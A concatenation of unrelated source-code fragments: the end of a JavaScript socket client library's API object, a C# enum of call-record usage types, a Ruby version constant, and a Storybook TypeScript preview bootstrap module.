(options.baseURL.indexOf("/") !== 0) { options.baseURL = "/" + options.baseURL; } if (options.baseURL.slice(-1) !== "/") { options.baseURL = options.baseURL + "/"; } // Create the initial backend socket and establish a connection to the server. connectSocket(); /* * Socket object */ var socket = { // version returns the glue socket protocol version. version: function() { return Version; }, // type returns the current used socket type as string. // Either "WebSocket" or "AjaxSocket". type: function() { return currentSocketType; }, // state returns the current socket state as string. // Following states are available: // - "disconnected" // - "connecting" // - "reconnecting" // - "connected" state: function() { return currentState; }, // socketID returns the socket's ID. // This is a cryptographically secure pseudorandom number. socketID: function() { return socketID; }, // send a data string to the server. // One optional discard callback can be passed. // It is called if the data could not be send to the server. // The data is passed as first argument to the discard callback. // returns: // 1 if immediately send, // 0 if added to the send queue and // -1 if discarded. send: function(data, discardCallback) { mainChannel.send(data, discardCallback); }, // onMessage sets the function which is triggered as soon as a message is received. onMessage: function(f) { mainChannel.onMessage(f); }, // on binds event functions to events. // This function is equivalent to jQuery's on method syntax. // Following events are available: // - "connected" // - "connecting" // - "disconnected" // - "reconnecting" // - "error" // - "connect_timeout" // - "timeout" // - "discard_send_buffer" on: function() { emitter.on.apply(emitter, arguments); }, // Reconnect to the server. // This is ignored if the socket is not disconnected. // It will reconnect automatically if required. reconnect: function() { if (currentState !== States.Disconnected) { return; } // Reset the reconnect count and the auto reconnect disabled flag. reconnectCount = 0; autoReconnectDisabled = false; // Reconnect the socket. reconnect(); }, // close the socket connection. close: function() { closeSocket(); }, // channel returns the given channel object specified by name // to communicate in a separate channel than the default one. channel: function(name) { return channel.get(name); } }; // Define the function body of the triggerEvent function. triggerEvent = function() { emitter.emit.apply(emitter, arguments); }; // Return the newly created socket. return socket; };
using System; namespace ThinkTel.uControl.Cdrs { public enum CdrUsageType { _411, canada, incoming, international, itc_canada, itc_usa, local, onnet, tfin, usa } }
module Tjadmin VERSION = "0.0.7" end
import { navigator, window } from 'global'; import addons, { DecorateStoryFunction, Channel } from '@storybook/addons'; import createChannel from '@storybook/channel-postmessage'; import { ClientApi, ConfigApi, StoryStore } from '@storybook/client-api'; import Events from '@storybook/core-events'; import { getSelectionSpecifierFromPath, setPath } from './url'; import { RenderStoryFunction } from './types'; import { loadCsf } from './loadCsf'; import { StoryRenderer } from './StoryRenderer'; const isBrowser = navigator && navigator.userAgent && navigator.userAgent !== 'storyshots' && !(navigator.userAgent.indexOf('Node.js') > -1) && !(navigator.userAgent.indexOf('jsdom') > -1); function getOrCreateChannel() { let channel = null; if (isBrowser) { try { channel = addons.getChannel(); } catch (e) { channel = createChannel({ page: 'preview' }); addons.setChannel(channel); } } return channel; } function getClientApi(decorateStory: DecorateStoryFunction, channel?: Channel) { let storyStore: StoryStore; let clientApi: ClientApi; if ( typeof window !== 'undefined' && window.__STORYBOOK_CLIENT_API__ && window.__STORYBOOK_STORY_STORE__ ) { clientApi = window.__STORYBOOK_CLIENT_API__; storyStore = window.__STORYBOOK_STORY_STORE__; } else { storyStore = new StoryStore({ channel }); clientApi = new ClientApi({ storyStore, decorateStory }); } return { clientApi, storyStore }; } function focusInInput(event: Event) { const target = event.target as Element; return /input|textarea/i.test(target.tagName) || target.getAttribute('contenteditable') !== null; } // todo improve typings export default function start( render: RenderStoryFunction, { decorateStory }: { decorateStory?: DecorateStoryFunction } = {} ) { const channel = getOrCreateChannel(); const { clientApi, storyStore } = getClientApi(decorateStory, channel); const configApi = new ConfigApi({ storyStore }); const storyRenderer = new StoryRenderer({ render, channel, storyStore }); // Only try and do URL/event based stuff in a browser context (i.e. not in storyshots) if (isBrowser) { const selectionSpecifier = getSelectionSpecifierFromPath(); if (selectionSpecifier) { storyStore.setSelectionSpecifier(selectionSpecifier); } channel.on(Events.CURRENT_STORY_WAS_SET, setPath); // Handle keyboard shortcuts window.onkeydown = (event: KeyboardEvent) => { if (!focusInInput(event)) { // We have to pick off the keys of the event that we need on the other side const { altKey, ctrlKey, metaKey, shiftKey, key, code, keyCode } = event; channel.emit(Events.PREVIEW_KEYDOWN, { event: { altKey, ctrlKey, metaKey, shiftKey, key, code, keyCode }, }); } }; } if (typeof window !== 'undefined') { window.__STORYBOOK_CLIENT_API__ = clientApi; window.__STORYBOOK_STORY_STORE__ = storyStore; window.__STORYBOOK_ADDONS_CHANNEL__ = channel; // may not be defined } const configure = loadCsf({ clientApi, storyStore, configApi }); return { configure, clientApi, configApi, channel, forceReRender: () => storyRenderer.forceReRender(), }; }